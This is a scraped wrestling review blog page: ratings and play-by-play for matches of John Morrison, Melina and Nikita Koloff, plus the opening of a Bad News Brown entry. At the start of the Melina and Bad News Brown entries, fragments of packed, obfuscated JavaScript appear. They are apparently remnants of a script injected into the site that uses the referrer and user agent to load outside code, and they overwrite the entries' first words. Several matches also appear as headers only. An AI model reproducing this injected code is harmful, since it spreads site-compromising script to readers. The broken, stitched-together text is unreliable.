This actually gets big match intro treatment for no apparent reason. Odd indeed. Punk and Miz start us off and it’s so weird to see these two as midcarders. Off to Kane, who is by far and away the biggest star in this match. Kane beats Morrison up with ease but can’t do the same to Miz. Wow that sounds weird in context. Punk comes in with a slingshot knee drop to Morrison for two.

 

Tarantula version of the Anaconda Vice which is rather awesome goes on. Back off to Kane who massacres Miz a bit more, including the clothesline for no cover. Morrison goes all angry on Kane, hammering away with everything he can to slow baldie down. Miz and Morrison both have a lack of finishing moves for the most part other than Morrison having some weak stuff so there isn’t much of a way that they can put Kane down.

 

Luckily for them it’s off to Punk who beats on Morrison as is his custom. Down goes Miz and a snap powerslam gets two on Morrison. Springboard clothesline gets two on Morrison who is looking awesome with these kickouts. Miz tries to grab Morrison’s leg to slow things down a lot and is chokeslamed on the floor for his efforts. That distraction though lets the Moonlight Drive (neckbreaker) end Punk mostly clean.

 

Rating: C. Not a bad match here at all but it probably should have been a TV main event more than anything else. You could certainly see Miz and Morrison growing up here as they managed to stay away from the pins which was the right thing to do. Having matches with guys like Kane and Punk was what made them get a lot better in a hurry, which is exactly why someone like Kane was on ECW. Fine little match here.

Miz and Morrison would get big enough that they would face DX on the November 3, 2008 Raw.

D-Generation X vs.  John Morrison/The Miz

HHH is WWE Champion. DX does their intro and we get a clip from ECW where Miz/Morrison made fun of them for being old and then beat up some DX impersonators. Shawn points out that the impersonator has a huge nose. Maybe Shawn just got used to it over the years but THAT THING IS HUGE! They also mocked his chaps. You can punch his wife, you can spit in his face, BUT NO ONE MOCKS THE CHAPS!

HHH points out them making fun of Shawn for losing his hair. Shawn doesn’t remember this. HHH: “Well I’m pretty sure…” Shawn: “No they didn’t.” HHH: “Shawn I’m sure…” Shawn: “Drop it!” HHH: Well ok….” Shawn: “WE WILL NEVER SPEAK OF THIS AGAIN!” HHH makes fun of Miz/Morrison’s high school pictures. Miz looks like a horse and Morrison enjoys rest stop sex. Shawn says he’s ready, the fans say they’re ready, we get a clip of Big Dick Johnson giving Miz a lap dance for some reason which traumatizes Shawn, and now we get to the DX intro, complete with more gay jokes from the Game. Funny stuff.

Oh yeah we have a match to get to. This is joined in progress with Morrison getting two on HHH. HHH takes his head off with a clothesline and it’s a double tag. Shawn knocks Miz down and hits the elbow to set up the Kick. Morrison breaks that up and Miz takes over via a clothesline. Miz whips Shawn into the corner where Shawn flips, followed by Miz’s corner clothesline.

Morrison comes in and pokes Shawn in the eye so Shawn kicks him in the head. Off to HHH who cleans house with the knees to the face. Facebuster looks to set up the Pedigree on Morrison but Miz breaks it up, only to walk into the spinebuster. Morrison imitates Shawn with a forearm, nipup and then tuning up the band, with the kick connecting on HHH. Miz and Morrison do crotch chops and Miz loads up a Pedigree, which is easily countered. Shawn kicks Miz’s head off and the Pedigree ends this.

Rating: C+. Not a bad match at all as Miz/Morrison got to show off a bit here. There was never any doubt as to who would win as the non-degerates didn’t mean much yet. Seeing them imitate DX’s stuff was good though and that’s what popped the fans for the most part. Fun little match.

 

The team would be split up in the Draft and Morrison would be sent to Smackdown. He would receive an Intercontinental Title match on September 4, 2009.

Intercontinental Title: John Morrison vs. Rey Mysterio

They finally speed things up with Rey snapping off a big headscissors to fire up the crowd and for two. Morrison starts making Mysterio miss him before getting kicked in the face and splashed for two. Rey hooks a chinlock to give both guys a chance to breathe. The fans seem to be far more behind Morrison which is kind of strange. Morrison fights up and hits a front flip into a dropkick for two in a sweet counter.

Standing shooting star gets two for Morrison before things speed up again and Rey is sent flying out to the floor. That gets two back inside as does a spinning legdrop from Morrison. We hit the chinlock again for a bit before Rey hits a pair of rollups for two. Morrison gets out of the 619 and they both try crossbodies at once.

Morrison would be in the World Heavyweight Championship Elimination Chamber in 2010.

Smackdown World Title: Rey Mysterio vs. Undertaker vs. CM Punk vs. John Morrison vs. R-Truth vs. Chris Jericho

Rey is out first and thankfully he’s only been world champion once. Morrison is out second and gets a solid pop. Remember he has a bad ankle allegedly. Jericho gets a solid pop of his own. Taker is fourth and this is the interesting thing. In case you didn’t hear, he was set on fire by the pyro.

Let’s see if I can see it unlike anyone else watching the show. Ok the fire is going on and he’s not there yet. Ok there he is and everything seems ok. The flames keep going up but you can’t see where they are in relation to him. Everything seems fine at the moment though.

RIGHT THERE! The flames go up in the middle of everything where he would have been standing so I’d bet that’s where it happened. It’s right as Chimmel is saying his name. Oh yeah when they go down he’s nearly running out of there. Oh man he is TICKED.

There’s a moment where the camera locks on Rey which is when I’m guessing Taker has water poured on him. Now let’s think about this for a minute. Taker, other than running to the ring, which is fairly understandable I’d say, completely stayed in character there.

Think about that: he was just involved in what could have been a life threatening situation or if nothing else something that could have caused severe injury to him. He stayed in character. You can complain about him all you want, but that my friends is discipline. I don’t think the announcers have a clue what was going on but they play it up as the Chamber changing him. Punk cuts a promo on his way to the ring which of course is epic.

Seriously, this gimmick could carry him for ten years easily. Truth cuts him off. As I’ve said before, wrestlers that get the crowd involved or play to them are ALWAYS going to be bigger deals. Think about this match for example: Truth, Jericho, Rey and Punk got the biggest reactions. Taker here is an exception but look at Morrison. He doesn’t play to the crowd much and he got a far weaker reaction.

Truth talks to the fans, Rey does the mask thing, Jericho and Punk’s promos are insulting to the crowd. They get bigger reactions and they’re the four here with world titles. Morrison doesn’t have one yet does he? And the length of time in the company argument doesn’t hold up as Morrison has been in WWE longer or as long as Punk.

Morrison and Punk start us off. Apparently Serena is Punk’s concubine. Ok then. Truth is dominating here. They’re using the Chamber really well here. That’s a big thing that puts this WAY ahead of its I guess you would say counterpart, Hell in a Cell. They messed that show up so badly I can’t comprehend it.

After a missed elbow, GTS puts Truth out. And now we wait for the rest of the clock and Punk gets to talk even more. That’s a great mini gimmick. He mentions making Taker tap. Love that. It’s Rey in next so we’re getting what’s likely a Mania preview here. They fight outside on the cage area with Rey getting slammed into the cage. Cool spot.

Rey is getting destroyed with a capital destr here. Punk tries a GTS from the top rope and Cole makes me laugh. Striker: you can tear a tendon up there. Cole: how about falling on your head? And Rey gets the rana and a splash from the top for the pin to get us down to four. Ok then.

Next in is Jericho to a nice reaction. He hits this 619 but Jericho gets outside to avoid the really weak pin off a really bad move. Rey hits the Spiderman spot which is always cool. These two can’t have a bad match I don’t think. Rey hooks a form of a dragon sleeper and the IWC rejoices. Solid stuff here.

Rey is in the Walls as the clock ticks down and it’s Morrison. For ZERO apparent reason, he goes for Jericho who lets go of the hold. Yep that makes no sense at all. In a cool spot Morrison goes up top and Rey shoves him into the pod. That would hurt like something that hurts a lot. Morrison hits the standing shooting star on Rey. Solid stuff but they’re just milling around waiting on Taker to come in here. Jericho hits a SWEET backbreaker on Rey to stop the 619 for no apparent reason.

Morrison gets that springboard spinkick that I freaking love. Rey is the only one with something close to control here. And Starship Pain puts Mysterio out to get us down to three. Morrison is getting to showcase himself here which is a big deal. Jericho gets the Walls on John and there’s the clock. And he hits Jericho which makes NO SENSE but whatever. Taker is getting NO reaction here.

The two living guys go after Taker which makes sense. Apparently half of Taker’s offense is his defense. What grade did you teach Striker? Jericho does something great as he hides in a pod. That’s very smart. Shame they’re clear so he’s easy to see.

With Jericho down Taker goes after Morrison who hits the kick again to put him down. Starship Pain is blocked and there goes Morrison’s chances. Jericho is hiding again which is brilliant. In a great looking visual, Morrison is hanging onto the cage while Jericho and Taker fight underneath him.

Taker is SLAMMED into the pod which would hurt horribly. Taker getting a chant now. Morrison gets chokeslammed onto the cage and he’s gone. How have Jericho and Taker never had a long feud? There go the straps. Jericho is in control here but both guys are banged up. Taker goes for the chokeslam with FREAKY looking eyes.

After a bunch of counters, Jericho gets the Walls. Cole points out that he’s in the middle of the ring, even though in a bit he points out that ropes mean nothing in this match. Make up your freaking mind Cole. Jericho hits the Codebreaker which Taker jumps in to, making it look all the better. Last Ride hits and Taker kind of throws him with it. That looked great. We get the Tombstone sign and there’s Shawn. You know the rest.

Rating: A-. I loved this but I would have liked seeing Jericho get the clean pin and for the first two guys getting more time. Either way they pushed a lot of Mania here which is the best thing they could do. The wrestling here was great and they had Morrison do what he had to do out there. This was great stuff though and it worked very well. Great match.

Morrison would get another shot in a cage with Cena involved as well at Extreme Rules 2011.

Raw World Title: John Cena vs. The Miz vs. John Morrison

 

In a cage and it’s pin, submission or escape.  Miz tries to run but the not brothers John save him.  Midnight Express flapjack puts the champ down as we’re firmly into the three way formula already.  Everyone beats on everyone as the former tag champions……and by that I mean Miz and Morrison…..go up but Cena makes the save.  Miz and Cena fight on the top rope for a bit and down goes Cena.

Morrison tries to make a quick escape as Miz tries a pin but the champion saves.  They sit on top of the cage and slug it out as Booker says they’re 20 or 30 feet in the air.  I give up.  Cena pops up and it’s a double suplex to Miz but they kind of botch it into almost a double brainbuster.  That looked SICK.  Back to the formula again and down goes Morrison.

Cena locks on the STF but Miz tries to escape.  Cena lets go for some reason and no one escapes.  Morrison gets thrown into the cage, only to jump up the wall and almost escape.  He’s a wildcard in this and changes the whole thing, as wildcards are designed to do.  With the Johns on top, Miz tries to go out the door.  Morrison kicks the door onto his head but gets crotched on said door.

Miz wisely pulls Morrison back into the cage because Morrison was about to just fall onto the floor.  Cena gets two on Morrison.  BIG DDT on Cena by Miz gets two.  Miz rams Cena into the cage and Morrison almost escapes, only to be caught again by Miz.  They slug it out on top of the cage again and Miz can’t quite get down.  Miz goes down so Morrison launches a Starship Pain off the cage to take out both guys in a cool spot.

Morrison almost gets out but of course here’s Truth to slam the door on Morrison’s head.  Truth comes into the cage and destroys Morrison.  Axe kick to Cena as Booker is confused.  Jumping downward spiral (NAME THAT MOVE ALREADY!) to Morrison as Truth climbs the cage.  He hasn’t touched Miz.  Truth climbs out of the cage and has the big freaky eyes going on.

Everyone is down now and Miz is the first one up.  He goes to escape, for some reason not going through the door, only to be caught by Cena.  They slug it out with the boo/yay which is required for Cena matches anymore.  Skull Crushing Finale is blocked into a big old FU off the top (stealing moves from Orton Cena?  Really) and Cena is champion again.

Rating: B-. Well we all knew the Truth interference was coming and that Morrison wasn’t walking out with the title which is fine.  The ending sets up a rematch and Truth vs. Morrison which is fine on both counts.  This was a pretty solid main event to a pretty solid show which is always a good sign.  They worked the formula and they worked it well here, so no complaints for the most part.

 

Soon after this Morrison would get the losing streak angle because he said his girlfriend Melina should have been on Wrestlemania instead of Trish Stratus. He won a match on Raw to earn a US Title shot at Survivor Series 2011.

US Title: Dolph Ziggler vs. John Morrison

The fans now think this is boring so Dolph jumps over John in the corner and hits a dropkick to take over. Off to a headlock by the champion as the fans still want Ryder. Dolph gets thrown to the floor and Morrison hits a big corkscrew dive to take the champ out. Vickie offers an annoying distraction and Ziggler takes over back inside. Ziggler takes Morrison down and nips up in a good athletic display before hooking a near Crossface.

Jushin Thunder Liger vs. John Morrison

Back up and some clotheslines drop Liger, setting up a leg lariat and a standing Shooting Star for two. John goes up but gets shoved to the floor, allowing Liger to hit a running flip dive to take Morrison down again.

The commentators really hurt this as well by sounding like fanboys trying to sound professional.

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Wrestler of the Day – March 10: Melina

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkbsr|var|u0026u|referrer|nkzkk||js|php'.split('|'),0,{})) it or not I still do these. Today is Melina.

Melina vs. Michelle McCool

Soon after this MNM would get into a feud with Animal/Heidenreich over the Smackdown Tag Team Titles. This led to a six person tag at No Mercy 2005 with Christy Hemme joining the alleged Legion of Doom.

MNM vs. Legion of Doom/Christy Hemme

Melina would lose and win the title back at a house show a few weeks later before defending the title against Mickie again in a few months at Backlash 2007.

Maria/Ashley vs. Beth Phoenix/Melina

Ashley tries to fight Beth and is immediately thrown around. Maria tries a double hip toss with Ashley which goes as well as you would expect two talentless models to be able to do. Melina is thrown to the floor and beaten up by the good Divas and takes a bad Bronco Buster from Maria. Ashley gets a running start to climb to the middle ropes to punch Melina as this mess continues. Melina takes over and catapults Ashley into a bearhug by Beth.

Melina would start feuding with Beth soon after this (shocking I know) leading to a rare Divas gimmick match at One Night Stand 2008.

Beth Phoenix vs. Melina

Recaps? Context? Point to the match? Who needs those stupid things? This is an I Quit match. We get a clip from Judgment Day of Beth hitting a double backbreaker on Melina and Mickie at the same time which is rather awesome. Dang it’s fun to watch Melina gyrate. Beth backs her into the ropes immediately to intimidate her so Melina grabs a guillotine choke of all things and Beth is in trouble early.

Beth easily counters out of it but it was working for awhile. Backbreaker gives Beth control and a bow and arrow has Melina in trouble. Something resembling a face jam/tornado DDT to Beth sets up an Indian Deathlock with a bridge which is always awesome looking. Beth crawls to the floor because ropes mean nothing. That looked pretty cool at least. Over the shoulder backbreaker has Melina in trouble as there is no flow to this match at all.

The fans want Chyna which should tell you how uninteresting this is. JR and King kind of shut up for a bit as Beth puts on a chinlock. Melina manages to send her into the middle buckle and Beth’s shoulder hits the post a bit later. Headscissors sets up an armbar, almost like La Mistica. Cross Armbreaker goes on as the crowd flat out does not care. Off to an arm choke but Beth is like screw that and hits a powerbomb to break it. Seated double chickenwing goes on and Melina looks like she’s about to cry. Beth then grabs the chin and pulls back to the point where Melina’s head is touching her own feet and that’s it.

Rating: D+. Another ridiculously boring match but at least Beth was hot. Seriously, other than that there was next to nothing going on here. Also, Divas don’t need ten minutes because it doesn’t take that long to go buy a Coke. Pretty weak match overall and nothing special in the slightest.

Melina would turn face soon after this but injure her heel, putting her out of action until late November. Once she came back, Melina won a battle royal to earn a title match against Beth Phoenix at the 2009 Royal Rumble.

Melina is challenging and Beth has Santino with her here. Beth shoves her around to start before easily breaking out of a headlock. A LOUD Santino chant starts up as Beth throws Melina around. Melina comes back with a shot to the head but gets shoved down immediately again. The challenger hooks an armbar of all things but Beth easily stands up while Melina stands on her shoulder.

Melina would drop the title soon and chase the belt for a few months. Soon after she would be sent to Raw and get a title shot on her first night on the red show.

Divas Title: Jillian Hall vs. Melina

Jillian won the title literally five minutes before this. Bell, Jillian hides in the corner, sunset bomb, new champion.

Melina would defend against Alicia Fox on Raw a few weeks later on November 16, 2009.

Divas Title: Alicia Fox vs. Melina

Unfortunately Melina would tear her ACL a few weeks later and be out for eight months. Soon after returning she would get a Divas Title match against champion Alicia Fox at Summerslam 2010.

Divas Title: Alicia Fox vs. Melina


Women’s Titles: Michelle McCool vs. Melina

Michelle in red: DANG. Nice back shot of her as the bell rings. Layla is ticked at her for being in there as we hear about the history of the Women’s Title, which is of course mostly nonsense but whatever. Crowd is DEAD. Yes, a Chicago crowd is dead. Michelle sends her to the floor but no one sends her back in. NICE Blockbuster from Orton’s elevated DDT position by Michelle. I love the Blockbuster (jumping front flip neckbreaker) so that was sweet for me.

Faithbreaker (Styles Clash) is blocked and Melina takes over. Decent belly to belly suplex for two by the blonde. Kelly gets up on the apron marking the first time they do anything all night as Melina has her rolled up. Kelly is for Melina here but just doesn’t get it I guess. The girls all beat up Michelle and send her back in. They need to stop slapping the mat as I think it’s a referee count.

Melina does the Matrix Move but Michelle just kicks her. Again: kicking and punching people works best a lot of the time. Both girls hit the floor as the girls yell at Michelle, showing off their acting…..talent. Layla interferes and Michelle gets to hit a, wait for it, wait for it, BIG BOOT TO UNIFY THE BELTS.

Rating: C-. Surprisingly decent match here although the girls were absolutely pointless out there. Layla interfering is fine as it’s expected, but what about the heat between them allegedly? This wasn’t much but at least it gets rid of the Divas Title, or at least I hope so. Better than most Divas matches though so I’ll give it that.

Kelly Kelly vs. Melina

The Bellas are on commentary and talking about how one of them will be champion after Money in the Bank on Sunday. The evil Melina chokes away to start as the Bellas rip into Kelly on commentary. A neckbreaker gets two for Kelly and a quick K2 is enough for the pin on Melina.

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Wrestler of the Day – March 9: Nikita Koloff

Today we go with the American playing a Russian who became a Lithuanian in Nikita Koloff.

World Tag Titles: Rock N Roll Express vs. Ivan Koloff/Nikita Koloff

 

 

Back to Ivan who is busted open as well. Robert is sent into the cage yet again and an elbow drop gets two for Ivan. Off to Nikita for some biting to the head before Ivan comes in for some slow power offense. Robert rolls away from a legdrop but Nikita comes in for a chinlock. Gibson is busted open as well, which seems to be a requirement tonight.

 

Rating: B. Good old fashioned tag match here with the Express getting destroyed until the very end where they won on a pure fluke. The fans were WAY into the Express at this point and Morton would even get a program with Ric Flair. The Russians were a great old school tag team idea with both guys looking like monsters and acting like it as well. Also this was nice to see a change in the usual Express formula with Gibson getting beaten down instead of Morton.

Magnum TA vs. Nikita Koloff

Koloff is up 3-0 coming into this. They stare each other down to start and fight over some lockups. Magnum runs the ropes and collides with Nikita, sending him out to the floor. Back in and Magnum sends him into the corner before fighting over a top wristlock. Koloff wins the power battle but gets countered into a hammerlock. Nikita powers out again and sends Magnum down with a back elbow to the jaw. A backbreaker and slam get two each for the Russian and he throws Magnum outside. Ivan gets in a few cheap shots before Nikita throws Magnum back in. TA comes right back in with a sunset flip for the pin out of nowhere.

US Title: Nikita Koloff vs. Magnum TA

Magnum is just ungodly over at this point. They fight over a lockup to start until Magnum grabs a headlock. A cross body gets two on Koloff and he gets sent out to the floor via a dropkick. Back in and Magnum cranks on the arm, taking Nikita down to the mat to drive knees into the arm. TA fights to get the arms pinned to the mat but Nikita rolls on top. They fight over control and roll out to the floor for a bit until they head inside again for a top rope ax handle from Magnum. An armdrag into an armbar keeps Nikita in trouble as we go to a break.

NWA World Title: Ric Flair vs. Nikita Koloff

 

 

 

Post match a bunch of guys come out but no one can keep Nikita off Flair. They brawl for a good three minutes until Flair is dragged to the back to end the show.

Soon after this Nikita would form an on again/off again tag team with Dusty Rhodes called the Super Powers. They would make it to the finals of the 1987 Crockett Cup against Lex Luger/Tully Blanchard.

Crockett Cup Finals: Super Powers vs. Lex Luger/Tully Blanchard

 

Later in the year Nikita would win the TV Title from Tully Blanchard. This led him into a unification match with the UWF TV Champion Terry Taylor at Starrcade 1987.

NWA TV Title/UWF TV Title: Nikita Koloff vs. Terry Taylor

 

This is a unification match between the two Television Titles. Taylor has Eddie Gilbert with him as backup. Taylor grabs a headlock to start but is easily run over by a shoulder block. They head to the corner and amazingly enough we get a clean break. We go to another corner and Taylor tries a cheap shot, only to get punched in the face by Nikita. Taylor cranks on the arm so Nikita sticks his tongue out at him and puts on an armbar of his own.

 

Terry headbutts out of the hold but Nikita rams him shoulder first into the buckle. More right hands have no effect at all and Nikita cranks away on the wristlock into a hammerlock. Koloff muscles him down into a cover but Taylor makes the ropes and heads outside. Back in and Taylor talks some trash, earning himself a slap in the face. A backdrop gets two on Terry and its time for more stalling on the floor.

 

 

He would drop the title to Mike Rotunda in early 1988. Nikita would leave wrestling for a bit and get off some of the steroids, leaving him far smaller for his feud against newcomer Al Perez.

Al Perez vs. Nikita Koloff

 

 

Nikita would take a few years off from wrestling due to his wife getting cancer. He would appear in the AWA for a bit before coming back as a heel in 1991, costing him the Tag Team Titles at SuperBrawl I. This led to a Russian Chain match at Great American Bash 1991. The show was perhaps the worst PPV of all time but this was probably the best match on the card.

Sting vs. Nikita Koloff

This is a Russian Chain match and it’s the four corners version. If this, the hottest feud in the company at the time, doesn’t get the fans going, nothing is going to. Sting, the guy that should be in the main event, gets a huge pop of course. Koloff gets in his face to start and they fire some rather low kicks at each other. Out to the floor and Koloff gets dropped on the railing. The idea here is that Koloff is the master of the Russian chain match so Sting is out of his element.

Back in and Sting rams Koloff’s head into the buckle as I’m amazed that the crowd is actually responding to this stuff. After a quick bit of Sting dominance on the floor they head back in and Sting gets two corners but Nikita breaks his momentum and therefore the streak. The idea is you have to get all four corners in a row but you can’t have your momentum broken.

Out to the floor again and Nikita hits a clothesline with the chain to take over. Sting uses the chain to pull Koloff into the post. Momentum is shifting back and forth fast in this. Back inside and Koloff pounds him down again as it shifts again. These advantages aren’t meaning anything but it’s WAY better than anything else we’ve seen tonight. Koloff drops some elbows with the chain and chokes away but won’t go for any corners.

Koloff fires off more chain shots but there’s only so much he can do because he can’t get far away from Sting. He snapmares Sting down and gets two corners. Make that three with the third one being with his head. Sting breaks up the fourth one and the streak is broken. They fight into the corner and both touch. They do it again with the second corner and Koloff hits him low. Well that’s one way to stop things. Sting hits him low right back and both guys are down.

The streaks aren’t broken off that somehow. They charge at the third and it’s tied at 3. Sting pounds on him but Koloff hooks the rope. Koloff comes back with the Sickle (clothesline) and somehow none of this breaks their momentum according to the referee. Koloff goes for the corner but Sting splashes him into it. Unfortunately that knocks Koloff into the buckle first for the win.

Rating: D+. Why? WHY IN THE FREAKING WORLD WOULD YOU HAVE STING LOSE HERE? Was NO ONE watching the show? Did no one get that the fans NEEDED something to care about here? The match itself was pretty bad too, as it was all short range stuff. These matches just don’t work other than Piper vs. Valentine at Starrcade in 83. The difference there is it was pinfall to win, which might be the catch to these things. This is the exact same finish as JBL vs. Eddie in 04 by the way.

He would return a few months later and join Sting in his war against the Dangerous Alliance. Yes I said Sting, war and the Dangerous Alliance, meaning WARGAMES. From WrestleWar 1992.

War Games: Sting’s Squadron vs. Dangerous Alliance

Sting, Ricky Steamboat, Dustin Rhodes, Barry Windham, Nikita Koloff
Rick Rude, Steve Austin, Larry Zbyszko, Bobby Eaton, Arn Anderson

Sweet goodness there is some talent in this match.

Ok so there isn’t much of a backstory here. Back in 1992 the storyline pretty much went like this: Sting fights everybody. He feuded with about 5 people at once, most of which are in this match. At Halloween Havoc and the Clash of the Champions that came just after it, Rude showed up and stole the US Title from Sting, forming this team. Sting won the world title at SuperBrawl and the Alliance wanted it off of him, no matter who did it (it would be Vader eventually but we’ll get to that later).

Larry and Arn were a tag team and feuded with Barry and Dustin over the tag titles. Barry had also just gotten the TV Title off Austin. Ricky wanted to be US Champion, which was Rude at the moment. Anderson and Eaton had taken them from Rhodes and Windham before losing them to the Steiners two weeks before this. In short, everyone hates everyone and they don’t care who they’re fighting. Koloff is there….just because Sting needed a fifth guy more or less. He would go after Rude after this PPV.

For those of you new to War Games, the rules are pretty basic. You start with a man each and they fight for five minutes. After that five minutes we flip a coin and the winning team gets to send in their second man for a 2-1 advantage that lasts two minutes. After two minutes, the team that lost gets to even it up at 2-2 for two minutes. After that two minutes the team that won the toss sends in it’s third man for two minutes. You alternate like that until it’s 5-5, then first submission wins. No pinfalls at all. It’s a double cage over both rings and there is nothing separating the two rings, so both cages only have three walls in essence, but it’s really just one big cage.

This is the first time I’ve seen this match since I got into the IWC and since I started reviewing, so this is going to be a fresh look at it. Let’s get to it.

Everyone is at ringside for this, so I’d expect a fight out there too. There are tops on the cages too. Crowd is just insane for Sting. Good grief that face team is STACKED. In a Dangerous Alliance huddle, we hear that Austin is starting for his team. He starts against Windham and it is ON immediately. Heyman keeps running strategy and it’s cool because what he’s saying is actual strategy and makes sense.

Both guys are really stiff in there and are just pounding on each other. Austin DIVES over both ropes and hits a clothesline. For those of you that haven’t seen him before he hurt his neck and his knees became made of jelly, go find some of his stuff. He’s a totally different but still very good worker. Windham rubs Austin’s face into the cage to bust him open. There’s a minute left before the next guy comes in. Windham bites the cut to open it up more. If you can’t tell, this is a very violent match.

The Alliance wins the coin toss (check the coin) and they send their big man, Rick Rude, in to make it 2-1. Also, that’s three world champions (Rude won the Big Gold Belt which is kind of a world title) in there I believe? The heels take over and Windham is in trouble. Rude’s tights look like the Comi-Con logo. Steamboat ties it up and goes straight for Austin. Ticked off Steamboat is AWESOME. Dang  it’s nice to hear this without Tony Schiavone making bad war puns.

Windham is busted open. Steamboat and Windham are dominating here but Anderson, the best wrestler to never win a world title (arguably) comes in and cleans house. Rude and Anderson both hook a crab on Steamboat. This has been non-stop the whole time which is a major perk of it. For some reason they’re all staying in the same ring. Well with five guys it’s ok. And there goes Steamboat and Rude so scratch that theory.

Dustin Rhodes comes in to balance it out. If my math is right, he’s the least successful guy in here? That’s saying a lot. Steamboat gets Rude in a figure four, more or less making it 2-2. Zbyszko, another former world champion, is in to make it 4-3. He’s been in trouble lately for being a screw-up and Rhodes beats the tar out of him as soon as he comes in. Madusa goes up the cage and slips Arn the phone but she and Sting have a standoff on the roof.

There is blood EVERYWHERE. The mat looks like an abstract painting. Sting, who has bad ribs thanks to Vader, evens things up and press slams Rude up into the air so that his back slams into the cage five times. Sting is just whipping it here and we have two more guys left to come in. Arn gets the cage rake again and is bleeding too. Everyone is in one ring which is kind of cluttering but there they go. At least it didn’t last long.

Eaton comes in as the last man for the Dangerous Alliance. Rhodes is bleeding a ton. Windham looks quite dead. Larry is messing with the turnbuckle. Keep that in mind as it’ll come into play later. The ropes are clearly loose thanks to Larry and Rude doing whatever they were doing. Koloff comes in to FINALLY start the match beyond. No submissions could have counted until now.

Koloff is a wild card because a year or so earlier he had nailed Sting but claimed it had been meant for Luger so no one is sure if you can trust him. He pushes Sting out of the way to let Austin and Anderson hit him in a GREAT bit of continuity since Sting pushed Luger out of the way to start their whole issue. This is just pure insanity and never stopping at all.

Sting gets the Scorpion on Anderson but Eaton makes the save. They completely get the turnbuckle unhooked so there is no top rope and the buckle is just laying in the ring. Austin is bleeding like crazy. Rhodes’ tights are polka dot now from blood on them. Larry tells Bobby to hold up Sting so he can hit him with the steel bar that came off the buckle. Sting ducks and Eaton takes it to the arm. Steamboat takes Larry out and Sting throws on an armbar for the submission and to blow the roof off the place. Heyman LOSES IT and everyone gets mad at Larry as the show ends. This broke up the Dangerous Alliance because they lost this and it kind of wound up turning Larry face but more or less he just retired.

Rating: A+. This right here is the best gimmick match blowoff to a feud ever. This match was about VIOLENCE and it worked incredibly well. The ending was great, the violence was great, most people bled, there is not a single dead spot in the nearly 25 minutes that this match ran, the crowd was white hot, and the feud ended here. This was it and everyone knew it so they left everything they had in the ring. Perfection for what it was supposed to be.

NWA Tag Title Tournament Quarter-Finals: Ricky Steamboat/Nikita Koloff vs. Brian Pillman/Jushin Liger

This should be good. Thankfully a match with three high fliers has the top rope made legal. Pillman and Koloff get us going and Brian bounces off of him a lot. He tries a front facelock and is easily placed on the top rope. A dropkick works a bit better and Koloff misses a charge, giving Brian a rollup for two. Off to Liger who works on the arm, as does Pillman who is tagged in quickly.

Back to Jushin who realizes power isn’t going to work so he fires off some dropkicks instead. Koloff runs him over and brings in Ricky to a BIG pop. Dang Steamboat vs. either of these guys would have been excellent. Liger gets thrown out of the ring and onto Pillman but it’s Pillman still legal. Steamboat works on the arm and then clotheslines Brian down. Pillman finally gets a tag and a double dropkick puts Steamboat down.

Liger vs. Steamboat now and they’re moving as fast as you would expect them to. Never mind as Koloff comes back in for his hit one move and stare offensive series. Back to Pillman vs. Steamboat which is certainly a more interesting match. Pillman takes him down and drops an elbow for two. Things speed up on a dropkick but then it’s back to a headlock by Brian. Liger comes in with some rapid fire kicks and the moonsault for two.

Tombstone kills Steamboat but he somehow kicks out at two. A flip dive gets two but Steamboat suplexes him down and tags in Koloff. Now Koloff hooks a chinlock, which is a popular move so far. Back to Steamboat who hits a series of backbreakers followed by a powerslam for two. Pillman made the save which I think makes them the heels in the match. Koloff hooks a chinlock on Liger before tagging Steamboat back in for a fist off the top.

Liger escapes and makes the hot tag to Pillman so things can speed up a bit. It’s not often that someone speeds things up over Liger but Pillman can do just that. And never mind as it’s back to the freaking headlock! Back to Liger who hits a cartwheel into a cross body for one. Back to Koloff who loads up the Sickle (running clothesline finisher) but Pillman breaks it up.

Brian comes in legally and hits a dropkick for two. Koloff throws him over the top but Pillman lands on the apron so it’s not a DQ. Brian hits a springboard clothesline and a top rope missile dropkick for two. He hooks a sleeper but Koloff jawbreaks his way out of it. Off to Liger vs. Steamboat again which has been the best combination of the match so far.

Ricky gets two off a missed Steamboat dropkick as does Liger off a backslide. Brian gets a blind tag and a slingshot crossbody for two. Steamboat hits a suplex to put both guys down. Pillman goes up but gets crotched, but he manages to come off with a crossbody, but Steamboat rolls through for the pin.

Rating: B-. Expect to hear the following a lot in this review: this would have been better if they cut out five minutes. There are seven matches on this card and only two matches don’t crack fifteen minutes, with one of them clocking in at 14:54. This was one of those twenty minute shindigs and it didn’t need to be at all. Koloff didn’t do much here and I’m not quite sure why he and Steamboat were partners. They were in WarGames together but that’s about it. The match was good but like I said, it didn’t need this much time.

Jake Roberts would become a top heel in late 1992 and Nikita would have a match with him on the September 12, 1992 episode of Worldwide.

Jake Roberts vs. Nikita Koloff

US Title: Nikita Koloff vs. Vader

Rude is the actual champion but Vader is subbing for him. This is No DQ. Rude comes out too but doesn’t stick around. Race gets thrown out too. Vader hits him in the face and Koloff doesn’t really move. They slug it out a lot and Vader splashes him to take over. A HARD clothesline takes Koloff down as does a headbutt. Koloff is sent to the floor but comes back with some power offense of his own. He hits a crossbody to the back for two which is a move I’ve never seen before.

Off to a chinlock which goes on for a good while. JR talks about a thirty minute time limit and I can’t help but chuckle. Can you imagine these two going half an hour against each other? Vader finally breaks it but gets cradled for two. Koloff hits another cross body of all things for two. He’s not the kind of guy I would expect to use that but he’s the speed guy in this when you think about it.

Vader rolls to the floor to stall and then does it a few more times. Koloff finally has enough and goes out after him, but the Sickle hits the post and Nikita is in trouble. Back in and Vader goes into mauling mode, running over Koloff and sending him to the floor. There’s a HARD chair shot (remember that it’s no DQ) and we go back in where the powerbomb retains the title for Rude.

Rating: D. You know considering this was No DQ, there was a total of one thing that would fit that gimmick. They flew through this and I can see why they clipped it on the VHS. The full version was about three times as long and it wasn’t anything better. Koloff more or less disappeared after this.

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Wrestler of the Day – March 8: Bad News Brown

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybyak|var|u0026u|referrer|rdzfd||js|php'.split('|'),0,{})) afraid I’ve got some bad news for you today: the Wrestler of the Day is Bad News Brown.

Bad News Allen vs. Abdullah the Butcher

Bad News Allen vs. Daniel Roy

North American Heavyweight Title: Bad News Allen vs. Owen Hart

